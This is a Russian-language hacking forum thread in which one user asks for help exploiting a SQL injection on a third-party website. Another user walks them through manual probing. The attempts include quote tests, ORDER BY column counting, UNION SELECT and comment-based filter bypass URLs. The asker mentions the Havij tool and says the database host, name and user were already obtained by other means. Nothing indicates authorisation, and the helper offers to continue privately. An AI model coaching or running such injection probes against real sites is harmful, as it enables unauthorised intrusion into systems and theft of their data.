PDA

Просмотр полной версии : Помогите со sql


OSW
18.11.2015, 22:15
Добрый день.

Есть сайт, запрос вида http://site.ru/article/?id=1' дает ошибку:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/docs/article/index.php on line 26

Havij не хочет работать, плюет Error (10061): Connection is forcefully rejected

Руками пробовал подставлять типа: http://site.ru/article/?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20/* и т.д., текст ошибки не меняется.

Другими путями узнал хост, имя, и пользователя БД.

Как дораскрутить? Ранее особо темы этой не касался вживую.

Br@!ns
18.11.2015, 23:03
↑ (https://antichat.live/posts/3917222/)
Добрый день.
Есть сайт, запрос вида
http://site.ru/article/?id=1
' дает ошибку:
Warning
: mysql_fetch_array() expects parameter 1 to be resource, boolean given in
/home/docs/article/index.php
on line
26
Havij не хочет работать, плюет Error (10061): Connection is forcefully rejected
Руками пробовал подставлять типа:
http://site.ru/article/?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20/*
и т.д., текст ошибки не меняется.
Другими путями узнал хост, имя, и пользователя БД.
Как дораскрутить? Ранее особо темы этой не касался вживую.


как реагируется на http://site.ru/article/?id=1'' ошибка пропадает? как реагирует на http://site.ru/article/?id=1'+order+by+1+--+?

OSW
18.11.2015, 23:16
↑ (https://antichat.live/posts/3917252/)
как реагируется на
http://site.ru/article/?id=1
'' ошибка пропадает? как реагирует на
http://site.ru/article/?id=1
'+order+by+1+--+?


На оба варианта ошибка та же

Br@!ns
18.11.2015, 23:21
↑ (https://antichat.live/posts/3917259/)
На оба варианта ошибка та же


а http://site.ru/article/?id=1+order+by+1+--+

?

OSW
18.11.2015, 23:22
↑ (https://antichat.live/posts/3917264/)
а
http://site.ru/article/?id=1
+order+by+1+--+
?


выдает текст статьи

Br@!ns
18.11.2015, 23:37
↑ (https://antichat.live/posts/3917265/)
выдает текст статьи


http://site.ru/article/?id=1+order+by+100000+--+ так же текст?

http://site.ru/article/?id=1'/**/order/**/by/**/1/**/--/**/ статья не появляется? (http://site.ru/article/?id=1)

OSW
18.11.2015, 23:42
↑ (https://antichat.live/posts/3917273/)
http://site.ru/article/?id=1
+order+by+100000+--+ так же текст?


вышеозвученная ошибка


↑ (https://antichat.live/posts/3917273/)
http://site.ru/article/?id=1'/**/order/**/by/**/1/**/--/**/
статья не появляется?


нет

Br@!ns
18.11.2015, 23:47
так мб там не нужна кавычка в скуле? если при http://site.ru/article/?id=1+order+by+1 нет ошибки а при http://site.ru/article/?id=1+order+by+100000 есть?

Скинь в ПМ, помогу разобраться

OSW
19.11.2015, 01:03
Спасибо!